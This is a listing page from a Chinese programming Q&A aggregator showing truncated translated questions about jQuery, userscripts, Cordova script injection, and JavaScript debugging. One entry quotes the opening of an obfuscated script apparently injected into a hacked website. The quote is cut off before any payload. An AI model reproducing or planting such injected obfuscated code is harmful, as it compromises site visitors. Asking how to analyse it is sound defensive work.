草庐IT

Shell脚本2

全部标签

javascript - greasemonkey 用户脚本中的 jQuery.getJSON

我正在尝试编写一个发出跨域AJAX请求的用户脚本。我使用@require在我的脚本中包含了jQuery,在我尝试运行jQuery.getJSON之前一切似乎都运行良好。我正在访问的API支持jsonp,但是我一直收到错误消息,指出jsonp123456789未定义。据我所知,这是由于jQuery将jsonp响应直接写入页面的头部,然后变成沙盒。一旦发生这种情况,jQuery将无法再访问回调,导致它未定义。(我不是100%相信这种情况,但对我来说似乎有可能)。有什么办法可以解决这个问题吗?有人建议我在unsafeWindow中声明回调函数,但我不确定如何做到这一点,也没有设法让它工作。

javascript - 为什么 jQuery 示例经常省略脚本类型?

例如here代码是这样的:$(function(){$("#datepicker").datepicker();});请注意应该包含type属性(可能设置为"text/javascript"),但此处不存在。这不是我见过的唯一例子。这样的代码让VisualStudio编辑器不高兴-它强调了并说应该有一个type属性。这也让我很好奇。为什么是type经常省略?如果我添加type="text/javascript"会发生什么-jQuery会崩溃吗? 最佳答案 那可能是因为HTML5doesnotrequireatypeattribute

javascript - 调试时如何忽略某些脚本文件/行?

我正在尝试调试一些JavaScript,我想找出当我将鼠标悬停在某个div元素上时执行的代码(我不知道是哪一段代码,因为没有直接的“onmouseover”-我认为某处有一个jQuery选择器?)。通常我会使用DeveloperTools/Firebug提供的“BreakAll”/“BreakOnNext”功能,但我的问题是其他代码(代码、鼠标移动监听器等)会立即被捕获。我想做的是告诉调试器忽略某些JavaScript文件或个别行,这样它就不会停在我不感兴趣或已排除的代码上。有什么方法可以在IE中实现这一点(吐,吐!)——或者您能建议更好的方法吗? 最佳答案

javascript - 无 Javascript 检测脚本 + 重定向

我想编写一个脚本来检测用户是否禁用了javascript,如果是,则将他们重定向到另一个页面(比如mysite.com/enablejavascript)但是,我不知道从哪里开始!谢谢。 最佳答案 Gdoron已经提到了noscript。连同metarefresh¹如果用户禁用了JavaScript,您可以重定向他们。JavaScript重定向可以用location.replace(URL)完成.location.replace('http://example.com/with-js');noscript+meta刷新示例:http

javascript - 在 Cordova 中使用 executeScript 方法注入(inject)外部脚本

我正在编写一个虚拟应用程序来测试Cordova的InAppBrowser插件中的executeScript()方法的工作原理。特别是,我试图在一个webview中注入(inject)一段javascript代码。这是我的index.html文件:InAppBrowserInjectionTestTestingInjectionStartingMotherWebViewDeviceisReadyapp.initialize();和index.js文件varapp={initialize:function(){this.bindEvents();},bindEvents:function(

javascript - 为什么我不能在 IE 中将包含脚本标签的字符串添加到 innerHTML

我正在尝试执行以下操作(我正在使用原型(prototype)库):vardiv=document.createElement('div');div.innerHTML='';$('banner').insert(div);在IE中,我在第二行设置属性后,div.innerHTML属性总是等于""。此代码段位于一个函数内,该函数覆盖了外部vendor脚本中的document.write(),因此这就是我这样做的原因,而不是创建脚本元素并将其直接附加到div元素。真的很感激任何帮助,这让我头发花白! 最佳答案 这个也让我有点受阻。事实证

javascript - 如果 html 页面是主页,如何运行 jquery 脚本...?

我正在与我们网站的外部团队合作,他们最近将我的一个脚本添加到网站的.NETMasterPage中……好吧,它终于让我的脚本运行了,但现在……它加载了横幅网站上的“每个”页面。我如何编写一个“if”语句,基本上说...如果这是主页...运行此脚本...如果不是就不要...? 最佳答案 如果您无法实现母版页解决方案,我将发布另一个答案。您可以使用flag元素告诉jQuery这是主页,因为之前发布的URL解决方案很容易损坏。在您主页内容的某处,只需将其放置即可。然后使用jQuery检查该元素是否存在并运行您的代码。这是一个非常糟糕的解决方

javascript - 这个脚本是做什么的? - 被黑的网站

我刚刚访问了一个被黑的网站,我想知道这个javascript有什么用。据我所知,它试图将页面重定向到某处但失败了。看起来它进入了服务器上的每一个文件。functionsF(){};varsMN=newArray();sF.prototype={b:function(){wL="wL";varc="c";varwS=newArray();cY='';this.bW="bW";this.sR=35912;varf=document;varuH="uH";varcJ=13620;varn='';this.hI=9833;this.wX=45851;varbI=function(){};var

javascript - php脚本回显中的双引号

我有一行看起来像这样的php代码:echo"$('#edit_errors').html('PleaseCorrectErrorsBeforeProceeding')";我想知道如何正确地为文本添加字体颜色。如果我这样做:echo"$('#edit_errors').html('PleaseCorrectErrorsBeforeProceeding')";“红色”一词是黑色文本,编译器会抛出错误。如果我在红色周围使用单引号,那么文本根本不会显示。任何帮助都会很棒。谢谢 最佳答案 您需要对"进行转义,这样它就不会被解释为字符串结尾。使

javascript - 如何在同一页面上加载动态脚本后调​​试非动态脚本

这个答案https://stackoverflow.com/a/10929430/749227对于这个问题IspossibletodebugdynamicloadingJavaScriptbysomedebuggerlikeWebKit,FireBugorIE8DeveloperTool?用于调试动态脚本。我面临的问题是,我有一个页面上有一个脚本,在它加载一个ajax请求后,该请求会返回一些HTML和一个放入页面的脚本。通过添加//#sourceURL=myDynamicDocumentFragment.html位,我可以很好地调试动态脚本。但是一旦它被加载,作为最初加载的外部页面的一